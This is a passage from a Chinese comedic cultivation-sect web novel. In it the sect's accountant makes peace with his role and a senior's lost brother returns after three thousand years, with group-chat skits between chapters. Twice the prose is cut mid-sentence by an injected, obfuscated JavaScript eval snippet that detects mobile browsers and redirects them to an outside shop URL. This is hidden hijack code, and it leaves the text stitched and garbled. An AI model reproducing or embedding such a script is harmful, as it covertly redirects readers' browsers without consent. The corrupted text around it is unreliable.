“三年前,您为什么选我?”他说,“我就是个普通的小商人家的孩子,会算账而已。您那时候说,让我来当财务总管,把宗门做大做强。” 他笑了笑,笑得有点苦。 “我当真了。我收拾行李,跟您上了山。结果发现宗门账上只有三两银子。” 典星河没说话。 祁幻继续说:“这三年来,我每天记账、砍价、省钱、想办法。我以为我能把这个宗门撑起来。我以为……” 他停住了。 典星河看着他。 “以为什么?” 祁幻沉默了很久。 “以为你们需要我。”他说,声音很轻,“以为我走了,宗门会散。” 他的眼眶有点红。 “可我今天突然想,也许不是你们需要我。是我……需要你们。” 典星河愣住了。 祁幻低下头,把脸埋进胳膊里。 “我每次想跑,都跑不掉。不是因为你们拦着我。是因为我自己不想跑。” 他的声音闷闷的。 “我不知道为什么。这里这么穷,这么乱,天天炸东西,天天赤字,天天有人闯祸……可我就是不想走。” 他抬起头,看着典星河。 “掌门,我是不是有病?” 典星河看着他,看了很久。 然后她伸出手,在他脑袋上敲了一下。 祁幻捂住脑袋,愣住了。 典星河说:“你不是有病。” 祁幻看着她。 典星河继续说:“你是傻。” 祁幻:“……” 典星河笑了。 “但傻得好。”她说,“不傻,怎么会留在这儿?” 祁幻的眼眶又红了。 典星河看着他,声音很轻。 “你知道我当初为什么选你吗?” 祁幻摇摇头。 典星河说:“因为你在集市上跟人砍价的时候,眼睛里有光。 ” 祁幻愣住了。 典星河继续说:“你为了省三文钱,跟那个卖菜的婆婆说了半个时辰的好话。最后她送了你一把葱,你高兴得像捡了宝。” 她顿了顿。 “我就想,这个人,肯定能把宗门撑起来。” 祁幻的眼泪掉下来。 典星河看着他,笑了。 “事实证明,我算对了。”她说,“你确实把宗门撑起来了,你的财务管理能力MAX,能在零收入的情况下维持宗门运转。” 祁幻低下头,用袖子擦了擦眼睛。 “可是……可是还是赤字……” 典星河点点头。 “嗯,还是赤字。”她说,“但那又怎样?” 祁幻抬头看她。 典星河看着月亮,声音很轻。 “赤字就赤字呗。咱们有饭吃,有地方住,有人陪着。还不够吗?” 祁幻张了张嘴,说不出话来。 典星河站起来,拍了拍身上的瓜子壳。 “行了,别想了。”她说,“不只是你需要我们,我们,都很需要你。” 她转身往回走。 走了两步,又回头。 “对了,祁幻。” 典星河笑了笑。 “谢谢你。”她说,“这三年,辛苦了。” 她走了。 祁幻一个人坐在原地,抱着账本,眼泪流个不停。 但他笑了。 然后他站起来,走到院子里。 归尘蹲在歪脖子树下坐着,望着天。 祁幻走过去,在他旁边蹲下。 归尘看了他一眼。 “眼眶怎么红了?” 祁幻摇摇头。 “没、没什么。” 归尘没追问,只是递给他一把瓜子。 过了好一会儿,祁幻突然开口。 “前辈,”他说,“您当初……是怎么想通的?” 归尘转头看他。 祁幻继续说:“就是……怎么从过去走出来的?” 归尘沉默了一会儿。 “没走出来。”他说,“是走进去的。” 祁幻没懂。 归尘看着远处,声音很轻。 “过去的事,忘不掉。也走不出来。”他说,“但你可以带着它,继续往前走。” 他转头看向祁幻。 “你那些账本,每一页都是过去。”他说,“但你还得翻到下一页。” 祁幻愣住了。 他看着手里的账本,看了很久。 然后他点点头。 “嗯。”他说,“翻下一页。” 祁幻想通之后的第二天,躺平宗好像什么都没变,又好像什么都变了。 说没变——早上还是被宋栀子的爆炸声吵醒的。 “砰——!” 这次炸的是柴房。 沈念从废墟里爬出来,浑身上下全是灰,头发炸成了和宋栀子同款的蒲公英。他手里还攥着一把瓜子,居然没撒。 “师叔,”他看着站在门口嗑瓜子的归尘,表情茫然,“您不是说……习惯就好吗?” 归尘点点头。 “嗯。习惯了吗?” 沈念想了想,低头看了看自己。 “……好像还没有。” 归尘又嗑了一颗瓜子。 “那就继续习惯。” 沈念沉默了。 祁幻从主殿冲出来,看到这一幕,第一反应是翻开账本。 “柴房维修多少钱……木头二十根,人工……至少一百文……” 他写着写着,突然停下来。 然后他合上账本,深吸一口气。 “算了。”他说,“人没事就行。” 宋栀子从废墟另一边探出脑袋,眼睛亮晶晶的。 “三师兄!你今天不崩溃了?!” 祁幻看着她,表情复杂。 “崩溃有用吗?” 宋栀子想了想。 “没用。” “那不就好了。”祁幻把账本夹在腋下,“我去镇上买木头。” 他转身就走。 宋栀子愣在原地,看着他的背影。 “二师兄,”她拽了拽牧殇的袖子,“三师兄是不是被夺舍了?” 牧殇嗑着瓜子,若有所思。 “有可能。”他说,“要不咱们给他算一卦?” 典星河的声音从歪脖子树下传来:“谁要算卦?十两银子一卦。” 牧殇赶紧摆手:“不用不用!我就说说!” 典星河继续躺着晒太阳。 穆惇扛着锄头从灵田那边走过来,看了一眼柴房的废墟,又看了一眼沈念。 “学乖了吗?”她问。 沈念点点头。 “学乖了。”他说,“下次炸之前,我先跑。” 穆惇点点头,继续往灵田走。 走了两步,又回头。 “今天还学锄地吗?” 沈念愣了一下。 “学!”他赶紧站起来,“我马上来!” 他跑了两步,又跑回来,从废墟里刨出那袋没撒完的瓜子,塞进怀里,然后才跑向灵田。 归尘看着他的背影,嘴角弯了弯。 “这孩子,”他说,“像谁呢?” 典星河躺在摇椅上,懒洋洋地接了一句:“像你。” 归尘想了想,点点头。 “好像是。” --- 下午,祁幻从镇上回来了。 他扛着一捆木头,后面还跟着一个推车——车里装着更多木头。 牧殇迎上去,一脸惊讶。 “你怎么买这么多?” 祁幻放下木头,擦了擦汗。 “多买点,省得下次再跑。” 牧殇愣住了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387676|200271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “下次?你还准备了下次?” 祁幻点点头,表情平静。 “柴房迟早还要炸。厨房也是。茅房也是。”他说,“提前备着,省得每次都花高价买急用的。” 他翻开账本,给牧殇看。 “你看,如果批量买,能便宜三成。如果跟老板长期合作,还能再便宜一成。如果——” 牧殇打断他:“等等等等,你算这个干嘛?” 祁幻看着他,眼神像看一个傻子。 “省钱啊。”他说,“省下来的钱可以多买肉。” 牧殇张了张嘴,愣是没说出话来。 宋栀子从旁边冒出来,举手提问:“三师兄,那我能多申请点发明经费吗?” 祁幻想了想。 “可以。”他说,“但得签个协议。如果炸了,从你下辈子零花钱里扣。” 宋栀子:“……” 牧殇在旁边笑得直拍大腿。 典星河躺在摇椅上,听着这边的动静,嘴角弯了弯。 归尘蹲在树下,嗑着瓜子,也弯了弯嘴角。 “这孩子,”他说,“是真想通了。” 典星河点点头。 “嗯。”她说,“以后账本不用愁了。” 归尘看了她一眼。 “你以前愁过?” 典星河想都不想。 “没有。” 傍晚,沈念从灵田回来,浑身是泥,但脸上带着笑。 “师姐夸我了!”他跑过来跟归尘汇报,“她说我今天锄得不错!” 归尘点点头。 “嗯。很棒。” 沈念在他旁边蹲下,过了好一会儿,沈念突然问:“师叔,您说,我要是早点来,是不是就可以早点认识大家了?” 归尘转头看他。 沈念继续说:“您这些年,自己一个人……是不是很孤单?” 归尘沉默了一会儿。 然后他摇摇头。 “不是,不孤单。”他说。 沈念没懂。 归尘看着远处那几个人——祁幻在整理木头,宋栀子在旁边帮忙(虽然越帮越忙),牧殇在指挥(虽然指挥得乱七八糟),穆惇站在灵田边看着他们,典星河躺在摇椅上晒太阳。 “你要是再来”归尘说,“你在这里找不到我。” 沈念愣了一下。 然后他笑了。 “你来的时候,”他说,“正好。” 晚饭的时候,七个人围坐在主殿门口。 祁幻买了五斤肉——他说“批量买便宜,放着慢慢吃”。 宋栀子贡献了一碟新腌的咸菜,但味道有点怪。 “这是什么味的?”牧殇尝了一口,表情复杂。 宋栀子眨眨眼:“灵气味的。” 牧殇:“……” 穆惇尝了一口,面无表情地点点头。 “还行。” 典星河也尝了一口,点点头。 “比上次强。” 沈念尝了一口,然后默默地喝了一大口水。 但他还是说:“挺、挺好吃的。” 宋栀子高兴了:“沈念师弟最懂我!” 祁幻在旁边记账,一边记一边说:“咸菜成本五文,宋栀子人工费零,味道待定,综合评分——” 他抬头看了一眼众人的表情。 “算了,不评分了。” 牧殇笑出了声。 月光洒下来,很亮。 风很轻。 一切都很好。 【章末小剧场:躺平宗摸鱼群】 钱多多:@所有人,今日支出:木头两百文(批量采购优惠价),肉五斤二百文(也是批量价),宋栀子发明材料八十文(她说这次绝对不会炸)。今日进账:无。心情:平静。 赵铁柱:咦?今天不崩溃了? 王甜甜:三师兄今天心情好? 李翠花:恭喜发财。 典星河:@钱多多,想通了? 钱多多:嗯,想通了。 归尘:那就好。 钱多多:@李翠花,借你吉言。 赵铁柱:批量采购?!这是要长期作战的节奏啊! 王甜甜:三师兄威武! 李翠花:@钱多多,木头够甜甜炸吗? 钱多多:够用一阵子了。 典星河:@钱多多,肉够吗? 钱多多:也够一阵子了。 归尘:@钱多多,瓜子呢? 钱多多:……明天买。 赵铁柱:哈哈哈哈哈哈 王甜甜:哈哈哈哈哈哈 沈念:三师兄辛苦了! 钱多多:不辛苦,命苦。 典星河:命苦也得买瓜子,你想要全宗门的瓜子精焉死么? 钱多多:…… 钱多多:知道了掌门。 16. 二师伯过来 这天傍晚,归尘又一个人坐在歪脖子树下,看着山门的方向。 沈念端着碗走过来,在他旁边蹲下。 “师叔,您又在看什么?” 归尘没说话。 沈念顺着他的目光看过去——山门外的那条土路,弯弯曲曲地通向远方。 什么都没有。 沈念小声问:“您……在等人?” 归尘沉默了一会儿。 “不知道。”他说,“总觉得有人在看我。” 沈念愣住了。 他看了看四周,没人。 又看了看山门方向,还是没人。 “师叔,您是不是……”他想说“想多了”,但又不敢。 归尘摇摇头。 “不是想多。”他说,“是真的有人在看。” 他嗑了一颗瓜子。 “看了三天了。” 沈念的后背有点发凉。 看三天了?变态吧?竟敢觊觎他师叔,虽说师叔确实长的芝兰玉树,可也是一个三千多岁的老妖怪啊! 与此同时,山门外三里远的小山坡上,一个人蹲在草丛里,手里拿着一个老旧的望远镜,正往躺平宗的方向瞄。 他穿着一身灰扑扑的袍子,头发花白,脸上刻着深深的皱纹。但那双眼睛很亮,亮得像藏着什么东西。 他看着远处那个蹲在树下的身影,看了很久很久。 “像……”他喃喃自语,“太像了……” 他又看了看周围——厨房方向冒着黑烟,灵田里有人在锄地,主殿门口有人在记账,还有一个丫头抱着个冒烟的锅跑来跑去。 他三年前来时,是这个场景,三年后也是这样…… “这什么宗门……”他嘀咕,“怎么感觉随时要炸?” 他正想着,那丫头手里的锅突然“砰”的一声,冒出一大股黑烟。 丫头被熏得满脸黑,但居然还在笑。 “又成功了!”她喊。 老头的手抖了抖。 “……这叫成功?” 他收起望远镜,往山下走了几步,又停下来。 犹豫了一会儿,又退回去,重新蹲下。 “万一不是呢……”他自言自语,“万一只长得像呢……万一认错了呢……” 他就这么蹲着,从傍晚蹲到天黑,从天黑蹲到月亮升起来。 最后他叹了口气,站起来。 “明天再来看看。”他说。 他转身要走。 身后传来一个声音。 “看够了?” 那声音很平静,但带着一丝颤抖。 他猛地回头。 归尘站在他身后三丈远的地方,神色平静。 月光照在归尘脸上,银丝随风轻舞,芝兰玉树,风华逼人。 三千年前,也是这双眼睛。 老人的身体僵住了。 他张了张嘴,想说点什么,但喉咙像被堵住了。 眼泪先涌了出来。 “小……小尘?” 归尘看着他,看了很久很久。 然后他开口了。 “二师兄。” 那个老人,是归尘的二师兄。 姓徐,单名一个修字。修炼的修。 三千年前躺平宗灭门那一夜,他被师父一掌推出山门,跌进了后山的悬崖。 他以为自己死定了。 醒来的时候,躺在一个猎户的家里。浑身是伤,断了三根肋骨,左腿骨折,躺了三个月才能下床。 等他回去找的时候,宗门已经变成一片废墟。 一个人都没有。 他找了很久很久。 找到了废墟,找到了残骸,找到了那些熟悉的东西——断剑、碎玉、烧焦的衣角。 但他没有找到人。 一个都没有。 他以为他们都死了。 “我以为……只剩我一个人了。”徐修坐在主殿门口,端着碗,声音沙哑,“我找了三千年。找遍了整个修仙界。北边的冰原,南边的荒漠,东边的海岛,西边的深山——能去的地方都去了。” 他看向归尘。 “后来我听说,有个宗门叫躺平宗。我想,会不会是你们重建的?会不会还有人活着?” 他顿了顿。 “我来看过。三年前。” 归尘愣住了。 “三年前?” 徐修点点头。 “我站在山门外,看了三天。”他说,“我看见一个姑娘躺在摇椅上晒太阳,一个种地的在锄田,一个话痨追着人聊天,还有一个管账的每天记账。” 他低下头。 “没有一个是我认识的。” “我以为……是我想多了。只是名字巧合而已。” 归尘沉默了。 徐修继续说:“我不敢发消息找你们。那些人……那些灭了我们宗门的人,他们还在。他们要是知道还有活口,为了预防我们报仇,一定会斩草除根。” 他的声音很轻。 “我只能偷偷地找。路过一个宗门,就看一眼。听说有幸存者,就去看一眼。看了三千年。” 他抬起头,看着归尘。 “有时候路过一个地方,会故意多待几天,看看有没有人来。有时候听到有人提起‘躺平宗’三个字,心跳都会停一拍。” 他笑了笑,笑得有点苦。 “结果每次都是空欢喜。” 归尘的眼泪掉下来。 徐修看着他,也笑了。 “直到前几天,我在仙网论坛上看到一个帖子——《那个扫地老头到底什么来路》。” 他的眼睛亮起来。 “配图里那个人,蹲着嗑瓜子那个,我一看见就知道,是你。” 归尘愣住了。 “你蹲着的姿势,三千年都没变。”徐修说,“小时候就这样,蹲着嗑瓜子,一嗑能嗑一整天。大师兄老说你,说你再这么蹲下去,腿要废了。” 旁边,牧殇“噗”地笑出声。 然后他赶紧捂住嘴。 归尘也笑了。 宋栀子举手提问:“所以师伯,您三年前就来过?那您看见我了没?” 徐修看着她。 “看见了。”他说,“你那时候比现在小一点,抱着一个冒烟的锅从厨房里跑出来。” 宋栀子眼睛亮了:“那是我第一次炸厨房!您看见啦?” 徐修点点头。 “看见了。”他说,“我当时想,这丫头真厉害,锅都能炸成这样。” 宋栀子得意了:“那是!我从小就有天赋!” 祁幻在旁边幽幽地说:“你管这叫天赋?” 宋栀子理直气壮:“当然!别人想炸还炸不了呢!” 祁幻沉默了。 牧殇在旁边笑得直拍大腿。 徐修看着他们,眼神里带着一丝复杂的情绪。 “你们这儿……”他顿了顿,“一直都这样?” 归尘点点头。 “习惯就好。” 徐修沉默了一会儿。 “那得习惯多久?” 归尘想了想。 “三个月吧。”他说,“我刚来的时候也不习惯。” 徐修:“……” 宋栀子又举手:“师伯师伯!您还看见什么了?” 徐修回忆了一下。 “看见那个话痨追着人聊天,从早上聊到晚上,那人最后跑进屋里躲着不出来。” 牧殇乐了:“那是我!那人是谁?” 徐修想了想。 “不认识,好像是路过的。” 牧殇更乐了:“路过的都聊!我厉害吧!” 徐修沉默了。 他又看向穆惇。 “看见那个种地的,从早干到晚,一刻不停。有一次下雨了,别人都躲雨,她还在锄地。” 穆惇抬起头。 “淋雨不好。”她说。 徐修愣了一下。 然后他点点头。 “嗯,是不好。” 他又看向祁幻。 “看见那个管账的,每天记账,从早记到晚。” “那、那是账没算完……” 徐修点点头。 “挺认真的。”他说。 祁幻愣了一下,然后有点不好意思地低下头。 徐修最后看向典星河。 “看见那个躺在摇椅上的姑娘,”他说,“三天,一直躺在那儿,动都没动过。” 典星河睁开眼睛。 “我动了。”她说。 徐修:“……” 牧殇在旁边笑得直拍大腿。 三天不动,那是死了。 穆惇看着徐修,突然开口。 “您当时来了三天,就没想过进来问问?” 徐修沉默了一会儿。 “想过。”他说,“但我不敢。” 他低下头。 “万一……万一你们不是呢?万一我只是认错了呢?万一……万一我进来,发现又是失望呢?” 他的声音越来越轻。 “我受不了了。”他说,“失望太多次了。” 屋里安静下来。 归尘看着他,眼眶红红的。 “那你今天怎么敢了?” 徐修抬起头,笑了笑。 “因为那个帖子下面,有人评论说,‘这个老头旁边那个年轻人是他师侄,叫沈念’。” 他看向沈念。 “沈念。”他说,“你师父是善渊吧?” 沈念愣住了。 “您怎么知道?” 徐修的眼泪又涌出来。 “因为善渊是我大师兄。”他说,“他收徒弟,喜欢用‘念’字。念着谁,就叫什么。” 他想,师兄定是想念师父了,那位躺平宗掌门,姓沈。 他站起来,走到沈念面前。 伸出手,在他脑袋上敲了一下。 沈念捂住脑袋,茫然地看着他。 徐修说:“你师父当年,也这么敲我。” 沈念的眼眶红了。 徐修看着他,笑了。 “你长得像他。”他说,“特别是眼睛。” 沈念的眼泪掉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387677|200271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下来。 “师伯。”他说。 那天晚上,月亮很圆。 八个人围坐在主殿门口,挤得满满当当。 祁幻把所有的肉都拿出来,摆了一桌子。 徐修一边吃一边说这三千年的经历。 说他怎么在修仙界流浪,怎么偷偷打听消息,怎么一次次失望,又一次次重新上路。 说他有一次听说有个宗门有幸存者,赶了三个月路过去,结果发现是一只妖兽成精,根本不是什么幸存者。 “那只妖兽还挺客气,”他说,“问我要不要留下来吃饭。我说不用了,转身就走。” 牧殇笑得一抽一抽。 说他还有一次被人骗了,说是知道躺平宗幸存者的下落,结果是个陷阱,差点被人抓住。 “后来我就学乖了。”他说,“只看,不问。只找,不露。” 他看着归尘。 “我怕他们知道我还活着。”他说,“我怕他们顺着我找到其他人。” 归尘沉默了很久。 然后他伸出手,在徐修脑袋上敲了一下。 徐修捂住脑袋,愣住了。 归尘说:“当年你们都爱敲我,现在该我了。” 徐修看着他,眼眶红了。 但他笑了。 “好。”他说,“你敲。” 夜深了。 众人都回屋睡了。 归尘和徐修坐在屋顶上,看着月亮。 沈念蹲在歪脖子树下,也看着月亮。 典星河走过来,在他旁边蹲下。 “不去看看?”她问。 沈念摇摇头。 “让他们聊。”他说,“三千年没见了。” 典星河点点头。 两人一起嗑瓜子,一起看屋顶上的两个人。 过了很久,沈念突然问:“掌门,您说,师叔现在在想什么?” 典星河想了想。 “在想,”她说,“他终于不是一个人了。” 沈念转头看她。 典星河笑了笑。 “你来了,他多了一个家人。”她说,“现在又来了一个。以后还会更多。” 沈念点点头。 “真好。”他说。 然后他想起什么,小心翼翼地问:“那个……掌门,咱们养得起吗?” 典星河愣了一下。 然后她理直气壮地说:“怕什么,我算命很准的,算一卦就会‘八方来财’。” 沈念沉默了。 他想起仙网论坛上那些帖子——关于掌门算卦的传说,好像……不太一致? 但他没敢问。 第二天早上,祁幻起得很早。 他翻开账本,开始算昨天的开支。 算着算着,他抬起头。 院子里多了两个人。 归尘和徐修,蹲在歪脖子树下,一起嗑瓜子。 “咔”,“咔”。 “咔”,“咔”。 步调一致,姿势一样。 祁幻愣了一下,然后笑了。 他在账本上记了一笔: “今日新增人口:1人。姓名:徐修。来历:三千年前躺平宗弟子,归尘前辈的二师兄。修为:金丹(大概)。饭量:挺大。备注:嗑瓜子姿势和前辈一模一样,三年前就来过,愣是没敢进来窥了几天。” 他写完,又加了一句: “实则进来也不会有收获,那时前辈还没有加入我们的大家庭。” 他抬起头,看着那两个人。 阳光下,两个老头蹲在树下,一起嗑瓜子,一起晒太阳。 偶尔说一句话,然后又沉默。 但那种沉默,和三千年来的沉默不一样。 是有人陪着的沉默。 祁幻低下头,继续记账。 嘴角弯着。 【章末小剧场:躺平宗摸鱼群】 钱多多:@所有人,今日新增人口:1人。姓名:徐修。来历:三千年前躺平宗弟子,归尘前辈的二师兄。修为:金丹(大概)。饭量:挺大。备注:三年前就来过,愣是没敢进来,在外窥了几天。 赵铁柱:三年前?! 王甜甜:师伯!您看见我第一次炸茅房了吗? 徐修:……看见了。 王甜甜:怎么样?精彩吗? 徐修:……挺精彩的。 赵铁柱:哈哈哈哈哈 归尘:@徐修,别理他们。 徐修:小尘,你这儿……一直都这么热闹吗? 归尘:习惯就好。 徐修:…… 钱多多:呜呜呜呜呜三千年了,前辈终于和家人团聚了。 赵铁柱:呜呜呜呜呜 王甜甜:呜呜呜呜呜 李翠花:哭。 徐修:那个……我刚来,能问一下,这里每天都是这样吗? 赵铁柱:差不多。 王甜甜:有时候更热闹。 李翠花:有时候炸得更厉害。 祁幻:有时候赤字更严重。 典星河:但是我们都是很有爱的。 17. 习惯就好 徐修正式入住躺平宗的第二天,终于体会到了什么叫“习惯就好”。 早上,他也是被炸醒的。 “砰——!” 那声音从厨房方向传来,震得柴房的窗户都在抖,屋顶的茅草簌簌往下落。 徐修睁开眼,发现自己躺在一片狼藉里——柴房还在,只是屋顶上多了个洞,几根茅草正慢悠悠地飘下来,落在他的脸上。阳光从那个洞里照进来,正好打在他眼睛上,晃得他眯起眼。 他转头,看见归尘躺在旁边,身上也落了几根茅草,表情平静得像什么都没发生。 “这是……”徐修开口。 “习惯就好。”归尘说。 徐修沉默了一会儿。 他又看向另一边——沈念也躺着,头发上插着一根茅草,眼神茫然,像个刚从土里刨出来的萝卜。 “师叔,”沈念问,“这正常吗?” 归尘想了想。 “正常。”他说,“一个月总有那么几次。” 沈念点点头,继续躺着。 徐修也继续躺着。 三个人就这么躺着,看着柴房顶上那个洞,看着阳光从洞里照进来,看着灰尘在光柱里缓缓飘浮。偶尔有一两声鸟叫从外面传来,混着宋栀子的声音。 “对不起——!这次真的不是故意的——!” 然后是祁幻的崩溃声:“你上次也说不是故意的!上上次也说不是故意的!你哪次是故意的?!” 宋栀子委屈巴巴:“那……那我下次争取是故意的?” 祁幻沉默了。 那沉默里包含的绝望,徐修隔着柴房都能感受到。 他嘴角抽了抽。 “她每次都是这样?”他问。 归尘点点头。 “嗯。” “然后呢?” “然后该修修,该吃吃。”归尘说,“日子照过。” 徐修想了想,又问:“你是多久习惯的?” “我是三个月。”他说,“刚来的时候,每天被炸醒,心想这什么破地方。后来发现,炸着炸着就习惯了。” 说着,擦了擦脸上落的灰,这动作引起徐修的注意,不禁感叹:建模怪。 沈念在旁边补充:“我来了一个月,已经能一边被炸一边嗑瓜子了。” 徐修沉默了。 他低头看了看自己——身上落着茅草,脸上沾着灰,手里还攥着昨晚没嗑完的瓜子。那瓜子居然没撒,也算是个奇迹。 “那我应该也快了。”他说。 中午,徐修正坐在主殿门口晒太阳,牧殇凑了过来。 “师伯!”他在徐修旁边蹲下,眼睛亮晶晶的,“您来两天了,我还没跟您好好聊过呢!” 徐修看着他,心里突然涌起一股不好的预感。 “聊什么?”他问。 “什么都行啊!”牧殇掰着手指数,“比如您这三千年是怎么过的?都去过哪些地方?遇到过什么有趣的事?有没有见过什么奇怪的人?您喜欢吃什么?您以前在宗门的时候是什么样的?您和归尘前辈小时候关系好吗?您——” “等等,”徐修打断他,“你一口气问这么多,我先答哪个?” 牧殇想了想。 “一个一个答!”他说,“咱们有的是时间!” 徐修深吸一口气。 行吧。 “那我先从三千年前说起……”他开始讲。 …… 两个时辰后。 徐修说得口干舌燥,嗓子都快冒烟了。他从三千年讲到两千年,从两千年讲到一千年,从一千年讲到昨天。 牧殇听得津津有味,眼睛越睁越大。 “然后呢然后呢?”牧殇追问,“那只妖兽真的请你吃饭了?” 徐修点点头,端起碗喝了一口水。 “真的。”他说,“还做了四菜一汤。红烧肉、清蒸鱼、炒青菜、炖豆腐,外加一碗野菜汤。” 牧殇眼睛都亮了:“妖兽还会做饭?” “那妖兽是开客栈的。”徐修说,“我当时以为那是家正常的客栈,进去之后才发现,掌柜的是只狐狸精,跑堂的是只黄鼠狼,厨子是只野猪。” 牧殇笑得直拍大腿。 “然后呢?您吃了吗?” 徐修沉默了一会儿。 “吃了。”他说,“味道还挺好。那野猪厨子手艺不错,红烧肉做得比人间的馆子还香。” 牧殇笑得更厉害了。 旁边,宋栀子不知道什么时候也凑了过来,抱着她的新发明——一个奇形怪状的铁疙瘩——听得入神。 “师伯师伯!那只狐狸精长什么样?好看吗?” 徐修想了想。 “挺好看的。”他说,“就是尾巴有点多。” “多少条?” “七条。” 宋栀子眼睛亮了:“七尾狐!那可是大妖!我听人说,七尾狐能化形之后,个个都是绝色!” 徐修点点头。 “是挺大的。”他说,“结账的时候,她收了我三百两。” 宋栀子的笑容凝固了。 “三百两?!” 徐修叹了口气。 “我吃的那顿饭,值三两。剩下二百九十七两,是听她讲了一晚上她那些前男友的故事。” 牧殇笑得直不起腰,从石头上滑下去,蹲在地上捂着肚子,“师伯,你竟然也会被诈骗?” 宋栀子也跟着笑。 徐修看着他们,嘴角也弯了弯。 他突然发现,说话这件事,好像也没那么累。 下午,祁幻坐在主殿门口记账。 阳光照在他身上,照出那两个深深的黑眼圈。他写一会儿,停一会儿,眉头皱成一团,嘴里念念有词。 徐修走过来,在他旁边坐下。 “怎么了?”他问。 祁幻叹了口气,把账本往他那边推了推。 “这个月的账,怎么算都对不上。”他说,“明明买了三斤肉,花了二百文,但总账上少了五十文。不知道哪记错了。” 徐修看了一眼他的账本。 “能给我看看吗?” 祁幻愣了一下,然后把账本递过去。 徐修接过来,一页一页翻着。 他翻得很慢,看得很仔细。每一笔支出,每一笔收入,他都看得认真。阳光照在他花白的头发上,照出岁月留下的痕迹。 祁幻在旁边等着,心里有点忐忑。 他偷偷打量着徐修——这个刚来两天的师伯,看起来普普通通,但那双眼睛很亮,亮得像藏着什么东西。 过了一会儿,徐修抬起头。 “你这账记得挺好的。”他说。 祁幻眼睛一亮。 “真的?” 徐修点点头。 “就是这里算错了。”他指着其中一行,“你买了三斤肉,一斤六十文,三斤应该是一百八十文,你写的是二百文。” 祁幻凑过去一看,愣住了。 还真是。 他明明记得自己算了三遍,怎么还是错了? “那……那五十文呢?” 徐修又翻了翻。 “这里,你买了二十文的锅,但记了两次。” 祁幻的脸红了。 “我、我记错了……” 徐修看着他,笑了笑。 那笑容很温和,像长辈看着犯错的后辈。 “没事。”他说,“我以前也常记错。” 祁幻抬起头。 “您以前也管过账?” 徐修点点头。 “在宗门的时候,我管了三百年。”他说,“大师兄说我性子稳,适合干这个。那时候宗门一百多号人,每天的吃穿用度,都从我手里过。” 他的眼神变得有些远,像是看到了很久以前的事。 “一开始也常算错。错了就改,改了再错。后来慢慢就熟了。” 祁幻的眼眶有点红。 “那……那您能教教我吗?” 徐修看着他,看了很久。 那双眼睛里,有审视,有慈祥,还有一种说不清的东西——像是看到了当年的自己。 然后他伸出手,在祁幻脑袋上敲了一下。 祁幻捂住脑袋,愣住了。 徐修说:“有师父么?” 祁幻摇摇头。 “我没师父。”他说,“我是被掌门骗上山的。” 徐修愣了一下。 然后他笑了。 “那以后我教你。”他说,“管账这门手艺,得有人带。” “谢谢师父。”他说。 那天晚上,月亮很圆。 祁幻一个人坐在井台边,看着月亮发呆。 徐修走过来,在他旁边坐下。 “想什么呢?”他问。 祁幻沉默了一会儿。 “在想,”他说,“我这三年,到底在坚持什么。” 徐修没说话,只是从怀里掏出一把瓜子,递给他。 祁幻接过来,嗑了一颗。 “咔”。 徐修也嗑了一颗。 “咔”。 两人一起嗑瓜子,一起看月亮。 过了好一会儿,祁幻开口了。 “我小时候,家里是开杂货铺的。”他说,“我爹教我看账本,教我打算盘,教我别被人骗。他说,这世上什么都可以丢,账本不能丢。” 徐修点点头。 “后来呢?” “后来他病了。”祁幻的声音很轻,“家里的钱都花光了,也没治好。他走之前,拉着我的手说,好好活着,别像我一样。” 他的眼眶红了。 “我那时候想,我一定要赚钱,赚很多钱,这样以后就不会再有人因为没钱治病而死。” “然后你来了这里。”徐修说。 祁幻点点头。 “然后我来了这里。”他说,“账上只有三两银子,天天赤字,天天有人闯祸。我想跑,跑不掉。想留,又觉得憋屈。” 他低下头。 “我也不知道自己在坚持什么。” 徐修沉默了一会儿。 然后他开口了。 “你知道我为什么管了三百年账吗?” 祁幻抬头看他。 徐修看着月亮,声音很轻。 “不只是因为大师兄说我性子稳。”他说,“还是因为我想让大家吃饱。” 他顿了顿。 “那时候宗门一百多号人,每天的吃穿用度,都从我手里过。我把账管好了,大家就能吃饱穿暖。大师兄就不用操心这些琐事,可以专心修炼。师父就不用为了钱发愁,可以安心教我们。” 他转头看向祁幻。 “你管账,是为了谁?” 祁幻愣住了。 他想起了典星河躺在摇椅上晒太阳的样子,想起了穆惇在灵田里锄地的样子,想起了牧殇追着人聊天的样子,想起了宋栀子抱着锅傻笑的样子。 他想起了每次他崩溃的时候,那些人虽然笑他,但从来不会真的怪他。 他想起了典星河说的那句话——“谢谢你,这三年,辛苦了。” 他的眼泪终于流下来。 “为了他们。”他说。 徐修笑了。 “那就够了。”他说。 他伸出手,又在祁幻脑袋上敲了一下。 祁幻捂住脑袋,笑了。 那天晚上,八个人围坐在主殿门口吃晚饭。 月亮很圆,风很轻,吹得宋栀子那盏永远不会灭的灯轻轻摇晃。 祁幻把今天买的肉全做了,摆了一桌子。红烧肉、炖鸡汤、炒青菜,还有一大盆米饭。 徐修吃了几口,突然放下碗。 “对了,”他说,“我在来的路上,听说了一件事。” 归尘抬起头。 “什么事?” 徐修的表情变得认真起来。 “有人在打听躺平宗。” 屋里安静了。 祁幻停下了筷子。 宋栀子抱着碗,眼睛瞪得大大的:“人红是非多,是不是又有想拜师的?” 典星河睁开眼睛,看着徐修,等着他继续说。 归尘也望着他。 “什么人?”他问。 徐修摇摇头。 